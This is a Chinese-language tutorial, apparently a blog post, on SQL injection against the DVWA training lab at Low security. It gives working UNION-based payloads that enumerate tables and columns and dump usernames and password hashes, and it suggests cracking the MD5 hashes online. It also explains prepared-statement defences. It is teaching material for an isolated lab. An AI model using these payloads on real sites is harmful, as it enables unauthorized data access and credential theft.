1. DVWA靶场与SQL注入基础认知
DVWA(Damn Vulnerable Web Application)是一个专门用于安全测试的PHP/MySQL Web应用程序,它被设计成存在多种漏洞,以便安全研究人员和爱好者学习渗透测试技术。其中SQL注入模块是最经典的漏洞类型之一,而Low级别则代表最基础的漏洞形态。
SQL注入的本质是攻击者通过构造特殊输入,改变原有SQL查询语句的逻辑。在Low级别下,DVWA的SQL注入模块存在典型的未过滤用户输入问题。具体表现为:
- 用户ID输入直接拼接进SQL语句
- 未使用预处理语句或参数化查询
- 无任何特殊字符过滤机制
- 错误信息完全暴露给客户端
这种漏洞在实际Web开发中虽然已经较少见,但理解其原理对安全意识的培养至关重要。我曾在审计一个老旧CMS系统时,就发现过类似的直接拼接SQL问题,攻击者可以轻松获取管理员密码。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. Low级别SQL注入环境搭建
2.1 DVWA环境准备
首先需要搭建DVWA测试环境,推荐使用以下两种方式:
- Docker快速部署(适合快速测试):
bash复制docker pull vulnerables/web-dvwa
docker run -d -p 80:80 vulnerables/web-dvwa
- 手动安装(适合学习完整过程):
- 下载DVWA源码包
- 配置PHP环境(>=5.3.10)
- 创建MySQL数据库并导入初始数据
- 修改config/config.inc.php中的数据库连接信息
注意:务必在隔离环境中运行DVWA,切勿部署在公网可访问的服务器上。我曾见过有人不小心把测试环境暴露在公网,结果被自动化扫描工具攻击。
2.2 安全级别设置
登录DVWA后(默认账号admin/password),需要将安全级别调整为Low:
- 点击左侧"DVWA Security"
- 选择安全级别为"Low"
- 点击"Submit"保存设置
这个设置会影响所有漏洞模块的防护等级。Low级别意味着没有任何防护措施,方便我们演示最基础的注入技术。
3. SQL注入漏洞原理深度解析
3.1 漏洞代码分析
查看DVWA的SQL注入模块源码(vulnerabilities/sqli/source/low.php),关键代码如下:
php复制$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid);
这段代码存在典型的安全问题:
- 直接使用$_GET获取用户输入
- 未对$id进行任何过滤处理
- 使用已废弃的mysql_*函数(PHP5.5+已移除)
3.2 SQL语句构造过程
当用户输入常规ID如"1"时,生成的SQL语句为:
sql复制SELECT first_name, last_name FROM users WHERE user_id = '1'
但如果输入包含SQL语法字符,如"1' OR '1'='1",语句变为:
sql复制SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1'
由于'1'='1'恒为真,这条查询会返回users表中的所有记录。这就是最基本的SQL注入原理。
4. Low级别注入实战步骤
4.1 基础注入测试
- 访问DVWA → SQL Injection
- 在输入框中尝试以下payload:
1' AND 1=1 --1' OR 1=1 --1' UNION SELECT user, password FROM users --
提示:-- 是SQL注释符,用于注释掉原查询中后续可能存在的其他条件
4.2 获取数据库信息
通过注入可以逐步获取数据库结构信息:
-
查询当前数据库:
sql复制1' UNION SELECT 1,database() -- -
获取表名:
sql复制1' UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema=database() -- -
获取users表结构:
sql复制1' UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users' --
4.3 提取敏感数据
最终可以获取用户凭证:
sql复制1' UNION SELECT user, password FROM users --
DVWA中的密码使用MD5哈希存储,可以通过在线破解网站如crackstation.net进行解密。
5. 防御措施与安全建议
5.1 开发层面的防护
- 使用预处理语句(最佳实践):
php复制$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?");
$stmt->execute([$id]);
-
输入验证:
- 白名单验证(如只允许数字)
- 类型强制转换(如
(int)$id)
-
最小权限原则:
- 数据库用户只赋予必要权限
- 避免使用root账户连接
5.2 运维层面的防护
-
错误处理:
- 关闭生产环境的错误显示
- 使用自定义错误页面
-
Web应用防火墙(WAF):
- 部署ModSecurity等WAF
- 配置SQL注入规则集
-
定期安全审计:
- 使用sqlmap等工具扫描
- 代码审查重点关注SQL拼接
6. 常见问题与排错指南
6.1 注入不成功的情况
如果注入payload没有生效,可能原因包括:
- 安全级别未正确设置为Low
- 输入被其他安全机制拦截
- 数据库连接异常
- 特殊字符被转义
排查步骤:
- 确认DVWA安全级别
- 查看页面源代码确认表单提交方式
- 尝试简单测试如
1' AND '1'='1'和1' AND '1'='2'观察差异
6.2 信息获取不完整
当UNION查询不返回预期结果时:
- 确认字段数量匹配(通过
ORDER BY测试) - 检查数据类型兼容性
- 尝试不同的输出位置
例如:
sql复制1' UNION SELECT null,concat(user,':',password) FROM users --
6.3 性能优化技巧
在大型渗透测试中:
- 使用
LIMIT分批次获取数据 - 优先查询information_schema获取元数据
- 对关键表使用条件查询缩小范围
例如只获取管理员账户:
sql复制1' UNION SELECT user, password FROM users WHERE user LIKE '%admin%' --
7. 从Low到High的进阶思考
虽然Low级别的漏洞看似简单,但理解其原理对后续学习至关重要:
- Medium级别:增加了mysql_real_escape_string过滤
- High级别:使用session限制输入来源
- Impossible级别:采用预处理语句+CSRF防护
在实际渗透测试中,我遇到过看似简单的注入点,通过层层绕过最终获取系统权限的案例。建议在掌握Low级别后,继续研究更高级别的防护与绕过技术。
